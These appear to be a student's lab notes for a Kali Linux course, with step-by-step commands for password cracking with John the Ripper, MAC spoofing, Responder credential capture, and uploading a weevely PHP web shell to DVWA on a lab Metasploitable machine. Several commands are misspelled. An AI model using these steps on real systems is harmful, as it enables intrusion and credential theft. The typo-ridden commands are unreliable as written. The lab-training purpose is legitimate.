P-2

HTTrack – Clones the website in local directory
Create a Clone folder in desktop
cd > desktop > clone

httrack www.rvce.edu.in
folder of rvce will be created

httrack www.github.com
www.goggle.com

P-3

John the ripper – password cracking tool
MD5 hash generator → copy MD5 hash

Create a folder on Desktop "John"
Go to ~~cd~~ it > create a .txt file
paste the hash

john b1.txt --format=RAW-MD5
The command will unhash it & show the password

If it doesn't work add sudo

Crunch – generate all possible combinations in specified -o ~~f~~ (output file) in specified cd
crunch 3 5 -f /usr/share/crunch/charset.lst mixalpha -o file.txt | more

P-4

MAC changer

- sudo ifconfig eth0 down // Disconnects the network

- macchangr -m b2:aa:0e:56:ed:f7 eth0 // assigns max address to machine

12 characters in hexadecimal

- macchanger -r eth0 // assigns random MAC
- sudo machchange -p echo // to restore orignal

  -S // to see permanent address

macchange -h

rectory

Responder // to get the password when ip address searched by web is not resolved

1. ifconfig
// get ip address (inet), copy it

sudo responder -I eth0 ~~-A~~

2. Go to windows & put the ip address in url google site

Bridge Adapter in Kali > settings >Network

3. It will display a sign in form

4. When user types it the password & username will be displayed in Kali terminals

5. The hashed password will be stored in
cd /usr/share/responder/logs

6. ls -l, the file will be named as
HTTP-NTLMv2 ...

7. Using john crack the password

8. Be in the same dir & type
john HTTP-NTLMv2...
(If it is an easy password no need to specify other commands)

qwerty

msfadmin

P-3

Run Metasplotable

1 cd ~ / go to home diretor

2 cd Desktop
In Destop, type in terminal

3 weevely generate qwerty attack.php
// It will generate attack php file

4 Go to metasplotable, & check its ip address
ifconfig (inet)

5 Go to firefox in Kali & paste meta-splot ip ~~URL~~ in firefox

6 It will open metasplot page
Go to DVWA

Username = admin
Password = password

7. DVWA Security > make the security low & submit

8 Go to Upload & browse attack.php & click uploed

9. Go to Kali terminal type ip of metasploit

```
weevly http://10.200.225.138/dvwa/hackable/uploads/attack.php qwerty
```

10. The above command will give it access of metasploit & we can execute anything

P-6

Binwalk

1 Upload an apk file to ~~it~~ Kali linux

2 Cd Downloads

3 binwalk -B Prg10.apk

binwalk -E Prg10.apk // it gives an image

P-7

Pipal // analyze pass word & gives stats

1. Download 10k passwords file from goole/ or create a file password.txt
Cd Download

2. pipal -t 5 10kPasswords

3. `cd /usr/share/pipal/checkers-available/`

4. `ls`

5. `cd ..`

6. `ls`

7. `cd checkers_enabled`

8. Copy paste any of checkers from checkers_available to checkers_enabled

Cuty capt

```
cutycapt --url=www.github.com --out=
   GitHomePage --out-format=pdf
 --method=get --insecure
```